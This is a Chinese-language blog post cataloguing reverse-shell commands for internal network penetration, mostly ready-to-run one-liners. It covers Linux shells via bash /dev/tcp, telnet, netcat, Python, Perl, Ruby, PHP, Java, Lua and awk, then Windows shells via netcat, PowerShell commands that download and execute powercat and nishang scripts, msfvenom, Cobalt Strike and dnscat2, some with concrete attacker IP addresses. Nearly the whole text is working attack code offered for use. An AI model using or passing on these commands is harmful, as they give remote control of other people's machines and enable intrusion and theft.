內網滲透 | 全網最實用的反彈shell總結
VSole2022-10-26 09:23:58
Linux反彈shell總結
(1)Bash反彈
nc -lvvp 9999 #攻擊者主機上執行監聽bash -i >& /dev/tcp/39.96.9.238/9999 0>&1 #目標主機上執行
注:/dev/tcp/ 是Linux中的一個特殊設備,打開這個文件就相當于發出了一個socket調用,建立一個socket連接,讀寫這個文件就相當于在這個socket連接中傳輸數據。同理,Linux中還存在/dev/udp/。
- 標準輸入 (stdin) :代碼為 0 ,使用 < 或 << ;
- 標準輸出 (stdout):代碼為 1 ,使用 > 或 >> ;
- 標準錯誤輸出(stderr):代碼為 2 ,使用 2> 或 2>>;
exec 5<>/dev/tcp/39.96.9.238/9999;cat <&5 | while read line; do $line 2>&5 >&5; done
(2)telnet反彈
nc -lvvp 444 #攻擊者主機上執行監聽rm -f /tmp/p; mknod /tmp/p p && telnet x.x.x.x 4444 0/tmp/p #目標主機上執行
攻擊者主機上打開兩個終端分別執行監聽:
nc -lvvp 4444nc -lvvp 5555telnet x.x.x.x 4444 | /bin/bash | telnet x.x.x.x 5555 #目標主機中執行
監聽兩個端口分別用來輸入和輸出,其中x.x.x.x均為攻擊者ip反彈shell成功后,在監聽4444端口的終端中執行命令可以在另一個終端中看到命令執行結果。
(3) nc(netcat)反彈
nc -lvvp portnc -e /bin/bash x.x.x.x port rm /tmp/f ; mkfifo /tmp/f;cat /tmp/f | /bin/bash -i 2>&1 | nc x.x.x.x 9999 >/tmp/f
(4)python 反彈
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("x.x.x.x",5555));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/bash","-i"]);'
(5)perl 反彈
perl -e 'use Socket;$i="x.x.x.x";$p=5555;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'
perl -MIO -e '$p=fork;exit,if($p);$c=new IO::Socket::INET(PeerAddr,"x.x.x.x:5555");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;'
(6)Ruby 反彈
ruby -rsocket -e 'exit if fork;c=TCPSocket.new("x.x.x.x","5555");while(cmd=c.gets);IO.popen(cmd,"r"){|io|c.print io.read}end'
ruby -rsocket -e'f=TCPSocket.open("x.x.x.x",5555).to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)'
(7) php 反彈
php -r '$sock=fsockopen("x.x.x.x",5555);exec("/bin/bash -i <&3 >&3 2>&3");'
(8) Java 反彈
public class Revs {/*** @param args* @throws Exception */public static void main(String[] args) throws Exception { // TODO Auto-generated method stub Runtime r = Runtime.getRuntime(); String cmd[]= {"/bin/bash","-c","exec 5<>/dev/tcp/x.x.x.x/5555;cat <&5 | while read line; do $line 2>&5 >&5; done"}; Process p = r.exec(cmd); p.waitFor();}}
(9) Lua 反彈
lua -e "require('socket');require('os');t=socket.tcp();t:connect('x.x.x.x','5555');os.execute('/bin/sh -i <&3 >&3 2>&3');"
(10) awk反彈
awk 'BEGIN{s="/inet/tcp/0/192.168.99.242/1234";for(;s|&getline c;close(c))while(c|getline)print|&s;close(s)}'
windows反彈shell總結
(1) nc(netcat)反彈
(netcat 下載:https://eternallybored.org/misc/netcat/)
nc -lvvp 9999 #攻擊者主機上執行監聽nc 192.168.99.242 1234 -e c:\windows\system32\cmd.exe #目標主機上執行
(2) powershell反彈
PS C:\WWW> powershell IEX (New-Object System.Net.Webclient).DownloadString('https://raw.githubusercontent.com/besimorhino/powercat/master/powercat.ps1'); powercat -c 192.168.99.242 -p 1234 -e cmd
下載到目標機器本地執行:
PS C:\WWW> Import-Module ./powercat.ps1PS C:\WWW> powercat -c 192.168.99.242 -p 1234 -e cmd
(3) msf反彈shell
msfvenom -l payloads | grep 'cmd/windows/reverse'msfvenom -p cmd/windows/reverse_powershell LHOST=192.168.99.242 LPORT=1234
(4) Cobalt strike反彈shell
1、配置監聽器:點擊Cobalt Strike——>Listeners——>在下方Tab菜單Listeners,點擊add。2、生成payload:點擊Attacks——>Packages——>Windows Executable,保存文件位置。3、目標機執行powershell payload
(5) nishang反彈shell
Reverse TCP shell:powershell IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com /samratashok/nishang/9a3c747bcf535ef82dc4c5c66aac36db47c2afde/Shells/Invoke-PowerShellTcp.ps1'); Invoke-PowerShellTcp -Reverse -IPAddress 10.1.1.210 -port 1234
Reverse UDP shell:powershell IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/samratashok/nishang/9a3c747bcf535ef82dc4c5c66aac36db47c2afde/Shells/Invoke-PowerShellUdp.ps1');Invoke-PowerShellUdp -Reverse -IPAddress 10.1.1.210 -port 1234
(6) Dnscat反彈shell (https://github.com/iagox86/dnscat2)
服務端:ruby dnscat2.rb --dns "domain=lltest.com,host=xx.xx.xx.xx" --no-cache -e open -e open
目標主機:powershell IEX (New-Object System.Net.Webclient).DownloadString('https://raw.githubusercontent.com/lukebaggett/dnscat2-powershell/master/dnscat2.ps1');Start-Dnscat2 -Domain lltest.com -DNSServer xx.xx.xx.xx
VSole
網絡安全專家